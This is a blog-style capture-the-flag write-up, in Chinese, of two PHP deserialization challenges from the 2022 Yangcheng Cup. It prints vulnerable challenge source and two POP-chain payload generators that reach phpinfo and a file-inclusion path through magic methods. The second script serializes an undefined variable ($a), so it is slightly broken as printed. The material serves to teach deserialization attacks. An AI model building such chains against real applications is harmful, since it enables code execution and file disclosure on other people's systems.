2022羊城杯两道反序列化题

  1. 前言
  2. step_by_step-v3
    1. 前言
    2. 源代码
    3. exp1:利用__tostring
    4. exp2:
  3. safepop
  4. 总结

前言

在此之前从未做出来过有关反序列化的题目,今天通过复现这两道题来浅学以下反序列化题目。之前始终无法理解如何使用,其根本原因发现是因为没有彻底理解魔术方法的使用,导致别人的pop链始终看不懂

step_by_step-v3

前言

这道题在phpinfo里面存在flag的值,可能是一个非预期解。正常的情况应该是绕过include_once去读取到hint.php的数值。由于我是复现,并没有hint.php的内容,这里重点使用的是如果读取phpinfo,已经如何绕过include_once

源代码

<?php
error_reporting(0);
class yang
{
    public $y1;
    public function __construct()
    {
        $this->y1->magic();
    }
    // 调用tostring执行phpinfo
    public function __tostring()
    {
        ($this->y1)();
    }
    public function hint()
    {
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}

class cheng
{
    public $c1;
    public function __wakeup()
    {
        $this->c1->flag = 'flag';
    }
    public function __invoke()
    {
        $this->c1->hint();
    }
}

class bei
{
    public $b1;
    public $b2;
    public function __set($k1,$k2)
    {
        print $this->b1;
    }
    public function __call($n1,$n2)
    {
        echo $this->b1;
    }
}
if (isset($_POST['ans'])) {
    unserialize($_POST['ans']);
} else {
    highlight_file(__FILE__);
}

?>

exp1:利用__tostring

(1)payload

<?php
class yang
{
    public $y1;
}
class cheng
{
    public $c1;
}
class bei
{
    public $b1;
    public $b2;
}
$yang=new yang();
$cheng=new cheng();
$bei=new bei();

$yang->y1="phpinfo";
$bei->b1=$yang;
$cheng->c1=$bei;

echo serialize($cheng);
?>

(2)分析

  • 首先在yang类当中的存在__tostring魔术方法,只要$yang->y1 = “phpinfo()”,然后echo $yang即可。接下来需要查看哪里存在输出函数
  • 存在输出函数的有两个地方,一个是bei类中的set魔术方法和call魔术方法。且输出的都是 $bei->b1 。只要赋值 $bei->b1=$yang, 就能够print phpinfo(); 接下来要做的就是如何调用set或者是call魔术方法
  • 首先看set魔术方法调用的前提条件是要么b1或者b2为不可见属性,要么bei对象调用了bei类中未定义的属性,显然只能是第二种方式了。查看整个程序,可以发现在cheng类当中,存在this->c1->flag和hint,只要$cheng->c1=$bei,那么只要存在bei->flag就会调用set魔术方法。而此时的wakeup恰好执行反序列化时就会调用,直接赋值即可

(3)逆向思维得到payload

$cheng = new cheng();
$cheng->c1=new bei();
$cheng->c1->b1 = new yang();
$cheng->c1->b1->y1 = "phpinfo";

echo serialize($cheng);

首先令c1等于bei对象,从而使得调用

(4)反思

通过上面的解题思路,还有几种未尝试的方法,即使用call魔术方法和invoke函数方法,从而得到了以下的payload

exp2:

(1)payload

<?php
error_reporting(0);
class yang
{
    public $y1;
}

class cheng
{
    public $c1;
}

class bei
{
    public $b1;
    public $b2;
}

// 调用wakeup函数,使得$bei->flag,从而调用set方法
$cheng = new cheng();
$cheng->c1 = new bei();

// 打印出this->b1的值,这里的被设置成了类yang的对象,从而调用了tostring方法
$cheng->c1->b1 = new yang();

// 设置y1的值为类cheng的对象,此时的结果是$cheng(),此时就会调用invoke方法
$cheng->c1->b1->y1 = new cheng();

// 最后设c1的数值为yang类实例化后的对象,就会调用yang当中的hint方法
$cheng->c1->b1->y1->c1 = new yang();
echo serialize($a);

?>

safepop

思路

目的:只要调用Test类中的getflag即可即可,这个在Func类中的call_user_func函数就能做到

只要能调用Func类中的call魔术方法,即调用Func类中不存在的方法即可。进而需要调用get魔术方法,即a对象调用一个未定义的变量即可;这个在B类中的__destruct魔术方法中就存在,目的反推出了条件,符合

总结

首先反序列化的题目可以分为正向分析和逆向分析,这两种思路其实是按照条件来的,看你先看到的是可以利用的条件还是你需要到达的条件。遇到难点的正向逆向可以同时分析

然后就是发现了解了魔术方法的如何使用之后,就会发现所谓的POP链,就是不断的构造好条件使得能调用魔术方法,然后调用里面的内容

重点是找目的和条件,根据条件如何实现某项功能罢了,现在目前所学到的就这些


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏